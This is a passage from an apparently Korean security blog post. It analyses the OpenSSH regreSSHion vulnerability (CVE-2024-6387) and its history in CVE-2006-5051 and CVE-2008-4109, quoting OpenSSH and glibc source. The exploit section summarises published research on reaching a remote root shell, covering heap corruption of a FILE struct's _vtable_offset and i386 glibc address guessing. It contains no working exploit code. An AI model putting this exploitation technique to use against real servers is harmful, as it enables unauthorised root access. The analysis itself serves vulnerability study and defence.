	if (use_privsep &amp;amp;&amp;amp; pmonitor != NULL &amp;amp;&amp;amp; pmonitor-&amp;gt;m_pid &amp;gt; 0)
		kill(pmonitor-&amp;gt;m_pid, SIGALRM);

	/* Log error and exit. */
	fatal(&quot;Timeout before authentication for %s&quot;, get_remote_ipaddr());
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;로깅을 위해 &lt;code&gt;fatal&lt;/code&gt; 함수를 호출하는 모습을 볼 수 있습니다. &lt;code&gt;fatal&lt;/code&gt; 함수는 &amp;lt;a href=&quot;https://github.com/openssh/openssh-portable/blob/V_4_3/fatal.c&quot;&amp;gt;fatal.c&amp;lt;/a&amp;gt;에 다음과 같이 작성되어있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void
fatal(const char *fmt,...)
{
	va_list args;
	va_start(args, fmt);
	do_log(SYSLOG_LEVEL_FATAL, fmt, args);
	va_end(args);
	cleanup_exit(255);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;fatal&lt;/code&gt; 함수는 다시 로깅을 위해 &lt;code&gt;log.c&lt;/code&gt;에 위치한 &amp;lt;a href=&quot;https://github.com/openssh/openssh-portable/blob/V_4_3/log.c#L286&quot;&amp;gt;&lt;code&gt;do_log&lt;/code&gt;&amp;lt;/a&amp;gt; 함수를 호출합니다. 이제 &lt;code&gt;do_log&lt;/code&gt; 코드를 확인해봅시다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void
do_log(LogLevel level, const char *fmt, va_list args)
{
...
		syslog(pri, &quot;%.500s&quot;, fmtbuf);
...
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;해당 코드에서 &lt;code&gt;syslog&lt;/code&gt;를 호출하는 모습을 볼 수 있습니다. 이때 &lt;code&gt;glibc&lt;/code&gt;의 &lt;code&gt;syslog&lt;/code&gt;는 메모리 버퍼 스트림을 생성하기 위해서 &lt;code&gt;malloc&lt;/code&gt;을 호출하고 함수의 끝에서는 해당 메모리를 정리하기 위해서 &lt;code&gt;free&lt;/code&gt;함수를 호출합니다.
이때의 &amp;lt;a href=&quot;https://stackoverflow.com/questions/3941271/why-are-malloc-and-printf-said-as-non-reentrant&quot;&amp;gt;&lt;code&gt;malloc&lt;/code&gt;&amp;lt;/a&amp;gt;과 &lt;code&gt;free&lt;/code&gt;는 비동기 시그널에 안전하지 않기 때문에 시그널 처리 함수에서는 호출되어선 안되지만 &lt;code&gt;syslog&lt;/code&gt;의 호출로 인해서 취약점이 발생한 상황입니다.&lt;/p&gt;
&lt;h2&gt;Async-signal-safe function&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Async-signal-safe&lt;/code&gt; 함수란 시그널 핸들러 내에서 안전하게 호출할 수 있는 함수를 뜻합니다.&lt;/p&gt;
&lt;p&gt;시그널 핸들러에서 호출하는 함수가 &lt;code&gt;async signal safety&lt;/code&gt;(비동기 시그널 안전성)이 없을 경우 취약점이 발생할 수 있습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://stackoverflow.com/questions/3941271/why-are-malloc-and-printf-said-as-non-reentrant&quot;&amp;gt;https://stackoverflow.com/questions/3941271/why-are-malloc-and-printf-said-as-non-reentrant&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;CVE-2006-5051&lt;/code&gt;은 &lt;code&gt;async-signal-unsafe&lt;/code&gt; 함수를 호출해서 발생합니다. 바로 직접적인 호출은 아니며 위에서 살펴본대로 다음과 같은 과정으로 &lt;code&gt;async-signal-unsafe&lt;/code&gt; 함수가 호출됩니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/CVE-2024-6387/function_call_diagram.png&quot;/&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;이와 같은 &lt;code&gt;SIGALRM&lt;/code&gt; 핸들러의 허점을 이용해 &lt;code&gt;malloc/free&lt;/code&gt; 함수 처리 중 특정 지점에서의 처리를 중단시키고 &lt;code&gt;malloc/free&lt;/code&gt;에 재진입하여 익스플로잇을 성공시킵니다.&lt;/p&gt;
&lt;h2&gt;CVE-2006-5051 Patch (Incorrect fix)&lt;/h2&gt;
&lt;p&gt;위에서 알아본 취약점은 &lt;code&gt;CVE-2006-5051&lt;/code&gt; 패치에 의해 다음과 같이 수정되었습니다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;OpenSSH 4.4&lt;/code&gt; 버전의 코드는 다음과 같습니다.&lt;/p&gt;
&lt;p&gt;먼저 sshd.c에서의 &lt;code&gt;grace_alarm_handler&lt;/code&gt;는 다음과 같이 변경되었습니다.&lt;/p&gt;
&lt;p&gt;4.3p2
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img width=&quot;100%&quot; src=&quot;/assets/img/CVE-2024-6387/grace_alarm_handler_4.3p2.png&quot;/&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;4.4
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img width=&quot;100%&quot; src=&quot;/assets/img/CVE-2024-6387/grace_alarm_handler_4.4.png&quot;/&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;4.4에선 &lt;code&gt;sigdie&lt;/code&gt;를 호출하는 형태로 바뀌었습니다. &lt;code&gt;sigdie&lt;/code&gt;는 이전 버전과 동일하게 &lt;code&gt;do_log&lt;/code&gt;를 호출합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void
sigdie(const char *fmt,...)
{
	va_list args;

	va_start(args, fmt);
	do_log(SYSLOG_LEVEL_FATAL, fmt, args);
	va_end(args);
	_exit(1);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;하지만 &lt;code&gt;do_log&lt;/code&gt;에서 여전히 &lt;code&gt;syslog&lt;/code&gt;를 호출하는 모습이 보입니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;...

void
do_log(LogLevel level, const char *fmt, va_list args)
{
...
		syslog(pri, &quot;%.500s&quot;, fmtbuf);
...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;잘못된 패치가 이루어졌고 해당 취약점은 여전히 존재하는 상태가 됩니다.&lt;/p&gt;
&lt;h2&gt;CVE-2008-4109 Patch&lt;/h2&gt;
&lt;p&gt;앞서 알아본 취약점은 &amp;lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2008-4109&quot;&amp;gt;&lt;code&gt;CVE-2008-4109&lt;/code&gt;&amp;lt;/a&amp;gt; 패치에서 비로소 수정됩니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A certain Debian patch for OpenSSH before 4.3p2-9etch3 on etch; before 4.6p1-1 on sid and lenny; and on other distributions such as SUSE uses functions that are not async-signal-safe in the signal handler for login timeouts, which allows remote attackers to cause a denial of service (connection slot exhaustion) via multiple login attempts. NOTE: this issue exists because of an incorrect fix for CVE-2006-5051.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;OpenSSH 4.5p1 &lt;code&gt;grace_alarm_handler&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/*
 * Signal handler for the alarm after the login grace period has expired.
 */
/*ARGSUSED*/
static void
grace_alarm_handler(int sig)
{
	if (use_privsep &amp;amp;&amp;amp; pmonitor != NULL &amp;amp;&amp;amp; pmonitor-&amp;gt;m_pid &amp;gt; 0)
		kill(pmonitor-&amp;gt;m_pid, SIGALRM);

	/* Log error and exit. */
	sigdie(&quot;Timeout before authentication for %s&quot;, get_remote_ipaddr());
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;OpenSSH 4.5p1 &lt;code&gt;sigdie&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void
sigdie(const char *fmt,...)
{
#ifdef DO_LOG_SAFE_IN_SIGHAND
	va_list args;

	va_start(args, fmt);
	do_log(SYSLOG_LEVEL_FATAL, fmt, args);
	va_end(args);
#endif
	_exit(1);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;grace_alarm_handler&lt;/code&gt;에서 호출되는 &lt;code&gt;sigdie&lt;/code&gt;에는 전처리 코드가 삽입되어 &lt;code&gt;DO_LOG_SAFE_IN_SIGHAND&lt;/code&gt;를 정의하지 않는이상
&lt;code&gt;do_log&lt;/code&gt;를 호출하는 일은 없어졌습니다.&lt;/p&gt;
&lt;h2&gt;CVE-2024-6387 (RegreSSHion)&lt;/h2&gt;
&lt;p&gt;앞서 살펴본 취약점인 &lt;code&gt;CVE-2006-5051&lt;/code&gt;과 &lt;code&gt;CVE-2008-4109&lt;/code&gt;는 위에서 적용된 &lt;code&gt;#ifdef DO_LOG_SAFE_IN_SIGHAND&lt;/code&gt;가 실수로 제거되어 &amp;lt;a href=&quot;https://github.com/openssh/openssh-portable/commit/752250c&quot;&amp;gt;&lt;code&gt;commit 752250c&lt;/code&gt;&amp;lt;/a&amp;gt;(OpenSSH 8.5p1)에 의해서 부활하게됩니다.&lt;/p&gt;
&lt;p&gt;코드가 어떻게 바뀌었는지 확인해봅시다.&lt;/p&gt;
&lt;p&gt;grace_alarm_handler&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/*
 * Signal handler for the alarm after the login grace period has expired.
 */
/*ARGSUSED*/
static void
grace_alarm_handler(int sig)
{
	if (use_privsep &amp;amp;&amp;amp; pmonitor != NULL &amp;amp;&amp;amp; pmonitor-&amp;gt;m_pid &amp;gt; 0)
		kill(pmonitor-&amp;gt;m_pid, SIGALRM);

	/*
	 * Try to kill any processes that we have spawned, E.g. authorized
	 * keys command helpers.
	 */
	if (getpgid(0) == getpid()) {
		ssh_signal(SIGTERM, SIG_IGN);
		kill(0, SIGTERM);
	}

	/* XXX pre-format ipaddr/port so we don&apos;t need to access active_state */
	/* Log error and exit. */
	sigdie(&quot;Timeout before authentication for %s port %d&quot;,
	    ssh_remote_ipaddr(the_active_state),
	    ssh_remote_port(the_active_state));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;여기서 &lt;code&gt;sigdie&lt;/code&gt;는 매크로로 &lt;code&gt;sshsigdie&lt;/code&gt;로 확장됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#define sigdie(...)		sshsigdie(__FILE__, __func__, __LINE__, 0, SYSLOG_LEVEL_ERROR, NULL, __VA_ARGS__)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;sshsigdie&lt;/code&gt;는 다음과 같이 정의되어있습니다. 이때 &lt;code&gt;sshsigdie&lt;/code&gt;는 &lt;code&gt;sshlogv&lt;/code&gt;를 호출합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void
sshsigdie(const char *file, const char *func, int line, int showfunc,
    LogLevel level, const char *suffix, const char *fmt, ...)
{
	va_list args;

	va_start(args, fmt);
	sshlogv(file, func, line, showfunc, SYSLOG_LEVEL_FATAL,
	    suffix, fmt, args);
	va_end(args);
	_exit(1);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;결과적으로 &lt;code&gt;sshlogv&lt;/code&gt;는 그전에 패치로 호출되지 않게했던 &lt;code&gt;do_log&lt;/code&gt;를 다시 호출하게됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void
sshlogv(const char *file, const char *func, int line, int showfunc,
    LogLevel level, const char *suffix, const char *fmt, va_list args)
{
	char tag[128], fmt2[MSGBUFSIZ + 128];
	int forced = 0;
	const char *cp;
	size_t i;

	snprintf(tag, sizeof(tag), &quot;%.48s:%.48s():%d&quot;,
	    (cp = strrchr(file, &apos;/&apos;)) == NULL ? file : cp + 1, func, line);
	for (i = 0; i &amp;lt; nlog_verbose; i++) {
		if (match_pattern_list(tag, log_verbose[i], 0) == 1) {
			forced = 1;
			break;
		}
	}

	if (log_handler == NULL &amp;amp;&amp;amp; forced)
		snprintf(fmt2, sizeof(fmt2), &quot;%s: %s&quot;, tag, fmt);
	else if (showfunc)
		snprintf(fmt2, sizeof(fmt2), &quot;%s: %s&quot;, func, fmt);
	else
		strlcpy(fmt2, fmt, sizeof(fmt2));

	do_log(file, func, line, level, forced, suffix, fmt2, args);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;do_log&lt;/code&gt;는 여전히 &lt;code&gt;syslog&lt;/code&gt;를 호출하고 있으며 &lt;code&gt;glibc&lt;/code&gt;의 &lt;code&gt;syslog&lt;/code&gt;는 여전히 비동기 시그널에 대해 안전하지 않기 때문에 보안 회귀가 발생합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static void
do_log(const char *file, const char *func, int line, LogLevel level,
    int force, const char *suffix, const char *fmt, va_list args)
{
...
		syslog(pri, &quot;%.500s&quot;, fmtbuf);
...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이로인해 해당 패치가 도입된 &lt;code&gt;8.5p1&lt;/code&gt;부터 &lt;code&gt;9.8p1&lt;/code&gt; 패치가 적용되기 이전까지 &lt;code&gt;glibc-based&lt;/code&gt; 리눅스 시스템에서 취약점이 발생하게 됩니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/CVE-2024-6387/regresshion_attack.png&quot;/&amp;gt;&amp;lt;a href=&quot;https://upload.wikimedia.org/wikipedia/commons/8/83/Resultant.png&quot;&amp;gt;https://upload.wikimedia.org/wikipedia/commons/8/83/Resultant.png&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;p&gt;본 취약점을 제보한 Qualys는 위 취약점(CVE-2024-6387)의 악용방법을 32bit glibc기반의 리눅스에서 입증했습니다. 또한 다른 버전에서도 악용 가능 지점을 찾아 특정 버전에 대한 악용 가능성을 연구를 진행했습니다.&lt;/p&gt;
&lt;p&gt;연구 개요는 다음과 같습니다.&lt;/p&gt;
&lt;h3&gt;SSH-2.0-OpenSSH_3.4p1 Debian 1:3.4p1-1.woody.3 (Debian 3.0r6, from 2005)&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;DSA&lt;/code&gt;의 공개 키 파싱 지점에서 호출되는 &lt;code&gt;free&lt;/code&gt;를 취약점을 이용해 중간에 처리를 중단시키고,
완전한 처리가 이루어지지 않은 &lt;code&gt;heap chunk&lt;/code&gt;에 대해 &lt;code&gt;grace_alarm_handler&lt;/code&gt;에 의해 호출되는 &lt;code&gt;free&lt;/code&gt;를 통해
공격을 수행합니다.&lt;/p&gt;
&lt;p&gt;해당 공격을 성공시키기위해 600초의 로그인 유예 시간 동안 10개의 연결(MaxStartups)을 수용할 경우 약 10,000번의 시도가 필요하며 원격 루트 쉘을 얻기 위해 평균적으로 약 1주일 정도가 소요됩니다.&lt;/p&gt;
&lt;h3&gt;SSH-2.0-OpenSSH_4.2p1 Debian-7ubuntu3 (Ubuntu 6.06.1, from 2006)&lt;/h3&gt;
&lt;p&gt;해당 버전의 연구에선 &lt;code&gt;CVE-2006-5051&lt;/code&gt;에서 언급된 &lt;code&gt;GSSAPI&lt;/code&gt;를 &lt;code&gt;GSSAPI&lt;/code&gt; 기능은 기본적으로 활성화되어있지 않기 때문에
취약점을 악용할 포인트로 사용하지 않고 기본적으로 활성화된 &lt;code&gt;PAM&lt;/code&gt; 기능을 이용합니다.&lt;/p&gt;
&lt;p&gt;해당 공격을 성공시키기위해 120초의 로그인 유예 시간 동안 10개의 연결(MaxStartups)을 수용할 경우 약 10,000번의 시도가 필요하며 원격 루트 쉘을 얻기 위해 약 1~2일 정도가 소요됩니다.&lt;/p&gt;
&lt;h3&gt;SSH-2.0-OpenSSH_9.2p1 Debian-2.+deb12u2 (Debian 12.5.0 from 2024)&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;🧪 아래 서술된 Exploit은 &lt;code&gt;_vtable_offset&lt;/code&gt;을 사용하지 않는 경우 &lt;code&gt;_IO_wfile_underflow&lt;/code&gt;의 유도가 불가능하기때문에 glibc 32bit에서만 유효합니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;⁉️&amp;lt;/summary&amp;gt;
&amp;lt;div markdown=&quot;1&quot;&amp;gt;
다음 glibc-2.36의 소스 코드의 주석을 확인해봅시다.&lt;/p&gt;
&lt;p&gt;libioP.h&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Setting this macro to 1 enables the use of the _vtable_offset bias
   in _IO_JUMPS_FUNCS, below.  This is only needed for new-format
   _IO_FILE in libc that must support old binaries (see oldfileops.c).  */
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1) &amp;amp;&amp;amp; !defined _IO_USE_OLD_IO_FILE
# define _IO_JUMPS_OFFSET 1
#else
# define _IO_JUMPS_OFFSET 0
#endif
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;위와 같은 경우 컴파일 설정에 따라 &lt;code&gt;_IO_JUMPS_OFFSET&lt;/code&gt;을 &lt;code&gt;1&lt;/code&gt;로 만들어 활성화하거나 &lt;code&gt;0&lt;/code&gt;으로 만들어 일부 매크로를 다르게 만들 수 있습니다.&lt;/p&gt;
&lt;p&gt;이에따라 다음과 같은 매크로에 차이가 생깁니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#if _IO_JUMPS_OFFSET
# define _IO_JUMPS_FUNC(THIS) \
  (IO_validate_vtable                                                   \
   (*(struct _IO_jump_t **) ((void *) &amp;amp;_IO_JUMPS_FILE_plus (THIS)	\
			     + (THIS)-&amp;gt;_vtable_offset)))
# define _IO_JUMPS_FUNC_UPDATE(THIS, VTABLE)				\
  (*(const struct _IO_jump_t **) ((void *) &amp;amp;_IO_JUMPS_FILE_plus (THIS)	\
				  + (THIS)-&amp;gt;_vtable_offset) = (VTABLE))
# define _IO_vtable_offset(THIS) (THIS)-&amp;gt;_vtable_offset
#else
# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
# define _IO_JUMPS_FUNC_UPDATE(THIS, VTABLE) \
  (_IO_JUMPS_FILE_plus (THIS) = (VTABLE))
# define _IO_vtable_offset(THIS) 0
#endif
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;위에서 본 _IO_JUMPS_OFFSET을 0으로 만든다면 설정에 의해 &lt;code&gt;_IO_JUMPS_FUNC&lt;/code&gt;에서 &lt;code&gt;_vtable_offset&lt;/code&gt; 필드를 사용하지 않게되고
이로인해서 공격이 통하지 않을 수 있습니다.&lt;/p&gt;
&lt;p&gt;이는 원 연구글에도 나와있으며 따라서 아래에 설명하는 공격은 i386 glibc에만 해당하게됩니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Eventually, we devised the following technique (which seems to be
specific to the i386 glibc -- the amd64 glibc does not seem to use
_vtable_offset at all):&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;-- [접은글의 끝입니다] --
&amp;lt;/div&amp;gt;
&amp;lt;/details&amp;gt;&lt;/p&gt;
&lt;p&gt;해당 버전의 연구에선 &lt;code&gt;syslog&lt;/code&gt;를 호출하는 점을 이용합니다. PoC에선 현재 환경에서의 취약성을 종합해서 악용하기 때문에 자세히 알아봅시다.&lt;/p&gt;
&lt;p&gt;연구에 사용된 &lt;code&gt;Debian&lt;/code&gt;은 i386에 경우 glibc(2.36)가 항상 &lt;code&gt;0xb7200000&lt;/code&gt; 또는 &lt;code&gt;0xb7400000&lt;/code&gt;에 매핑되기 때문에 절반의 확률로 PIE를 무력화 시킬 수 있습니다.&lt;/p&gt;
&lt;p&gt;앞서 알아본 순서로 &lt;code&gt;syslog&lt;/code&gt;가 &lt;code&gt;grace_alarm_handler&lt;/code&gt;에 의해서 호출됩니다.&lt;/p&gt;
&lt;p&gt;연구에 사용된 &lt;code&gt;Debian&lt;/code&gt;버전의 glibc(2.36)는 &amp;lt;a href=&quot;https://sourceware.org/git/?p=glibc.git;a=commit;h=a15d53e2de4c7d83bda251469d92a3c7b49a90db&quot;&amp;gt;단일 스레드 환경에대한 락을 진행하지 않기 때문&amp;lt;/a&amp;gt;에 취약점을 성공적으로 악용할 수 있습니다.&lt;/p&gt;
&lt;p&gt;이를 이용해 &lt;code&gt;malloc&lt;/code&gt; 호출을 SIGALRM을 통해 중간에 중단시킨 후 &lt;code&gt;SIGALRM&lt;/code&gt;에서 사용하는 &lt;code&gt;malloc&lt;/code&gt;을 통해 완전히 처리되지 않은 &lt;code&gt;heap chunk&lt;/code&gt;를 악용합니다.&lt;/p&gt;
&lt;p&gt;해당 공격을 성공시키위해 120초의 로그인 유예 시간 동안 100개의 연결(MaxStartups)을 수용할 경우 원격 루트 쉘을 얻기 위해 약 6~8시간이 소요됩니다.&lt;/p&gt;
&lt;p&gt;glibc 2.36에서 &lt;code&gt;syslog&lt;/code&gt;에서는 다음과 같은 흐름으로 &lt;code&gt;fopen&lt;/code&gt;을 호출해 &lt;code&gt;FILE&lt;/code&gt; 구조체를 만들고 있습니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img width=&quot;100%&quot; src=&quot;/assets/img/CVE-2024-6387/call_graph.png&quot;/&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;/misc/syslog.c:__syslog,__vsyslog_internal&amp;lt;/summary&amp;gt;
&amp;lt;div markdown=&quot;1&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/*
 * syslog, vsyslog --
 *	print message on log file; output is intended for syslogd(8).
 */
void
__syslog (int pri, const char *fmt, ...)
{
  va_list ap;

  va_start (ap, fmt);
  __vsyslog_internal (pri, fmt, ap, 0);
  va_end (ap);
}
ldbl_hidden_def (__syslog, syslog)
ldbl_strong_alias (__syslog, syslog)

void
__vsyslog_internal (int pri, const char *fmt, va_list ap,
		    unsigned int mode_flags)
{
...
  struct tm *now_tmp = __localtime64_r (&amp;amp;now, &amp;amp;now_tm);
...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;/details&amp;gt;
&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;/time/localtime.c:__localtime64_r&amp;lt;/summary&amp;gt;
&amp;lt;div markdown=&quot;1&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Return the `struct tm&apos; representation of *T in local time,
   using *TP to store the result.  */
struct tm *
__localtime64_r (const __time64_t *t, struct tm *tp)
{
  return __tz_convert (*t, 1, tp);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;/details&amp;gt;
&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;/time/tzset.c:__tz_convert,tzset_internal&amp;lt;/summary&amp;gt;
&amp;lt;div markdown=&quot;1&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Return the `struct tm&apos; representation of TIMER in the local timezone.
   Use local time if USE_LOCALTIME is nonzero, UTC otherwise.  */
struct tm *
__tz_convert (__time64_t timer, int use_localtime, struct tm *tp)
{
...
  /* Update internal database according to current TZ setting.
     POSIX.1 8.3.7.2 says that localtime_r is not required to set tzname.
     This is a good idea since this allows at least a bit more parallelism.  */
  tzset_internal (tp == &amp;amp;_tmbuf &amp;amp;&amp;amp; use_localtime);
...
}
...
/* Interpret the TZ envariable.  */
static void
tzset_internal (int always)
{
...
  /* Try to read a data file.  */
  __tzfile_read (tz, 0, NULL);
...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;/details&amp;gt;
&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;/time/tzfile.c:__tzfile_read&amp;lt;/summary&amp;gt;
&amp;lt;div markdown=&quot;1&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void
__tzfile_read (const char *file, size_t extra, char **extrap)
{
...
  /* Note the file is opened with cancellation in the I/O functions
     disabled and if available FD_CLOEXEC set.  */
  f = fopen (file, &quot;rce&quot;);
  if (f == NULL)
    goto ret_free_transitions;
...
 read_again:
  if (__builtin_expect (__fread_unlocked ((void *) &amp;amp;tzhead, sizeof (tzhead),
					  1, f) != 1, 0)
      || memcmp (tzhead.tzh_magic, TZ_MAGIC, sizeof (tzhead.tzh_magic)) != 0)
    goto lose;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;/details&amp;gt;&lt;/p&gt;
&lt;p&gt;위와 같은 흐름에 의해서 &lt;code&gt;FILE&lt;/code&gt; 구조체가 힙 메모리에 생성됩니다.&lt;/p&gt;
&lt;p&gt;취약점을 이용하여 특정 힙 청크를 겹치게 만든 후 이를 덮어쓰는 과정으로 공격을 진행합니다.&lt;/p&gt;
&lt;p&gt;보고서에 나온 내용에 따르면 힙 손상을 통해 &lt;code&gt;__tzfile_read()&lt;/code&gt;에서 할당된 &lt;code&gt;FILE&lt;/code&gt; 구조체의 &lt;code&gt;_vtable_offset&lt;/code&gt; 필드 덮어써 함수 포인터에 의해 호출되는 함수를 임의로 조작하여
원하는 명령어를 실행할 수 있게됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* The tag name of this struct is _IO_FILE to preserve historic
   C++ mangled names for functions taking FILE* arguments.
   That name should not be used in new code.  */
struct _IO_FILE
{
...
  signed char _vtable_offset;
...
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이렇게 오염된 메타데이터는 위 코드에서 살펴본 &lt;code&gt;__tzfile_read&lt;/code&gt;에서  &lt;code&gt;__fread_unlocked&lt;/code&gt;를 호출하는 과정에서 원하는 코드를 실행할 수 있게 만듭니다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;__fread_unlocked&lt;/code&gt; 함수는 다음과 같은 호출 흐름을 갖습니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img width=&quot;100%&quot; src=&quot;/assets/img/CVE-2024-6387/call_graph2.png&quot;/&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;libio/iofread_u.c:_IO_jump_t&amp;lt;/summary&amp;gt;
&amp;lt;div markdown=&quot;1&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;/details&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;libio/iofread_u.c:__fread_unlocked&amp;lt;/summary&amp;gt;
&amp;lt;div markdown=&quot;1&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;size_t
__fread_unlocked (void *buf, size_t size, size_t count, FILE *fp)
{
  size_t bytes_requested = size * count;
  size_t bytes_read;
  CHECK_FILE (fp, 0);
  if (bytes_requested == 0)
    return 0;
  bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
  return bytes_requested == bytes_read ? count : bytes_read / size;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;/details&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;libio/genops.c:_IO_sgetn&amp;lt;/summary&amp;gt;
&amp;lt;div markdown=&quot;1&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;size_t
_IO_sgetn (FILE *fp, void *data, size_t n)
{
  /* FIXME handle putback buffer here! */
  return _IO_XSGETN (fp, data, n);
}
libc_hidden_def (_IO_sgetn)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;/details&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;libio/libioP.h:_IO_XSGETN(FP, DATA, N), _IO_WXSGETN(FP, DATA, N)&amp;lt;/summary&amp;gt;
&amp;lt;div markdown=&quot;1&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* The &apos;xsgetn&apos; hook reads upto N characters into buffer DATA.
   Returns the number of character actually read.
   It matches the streambuf::xsgetn virtual function. */
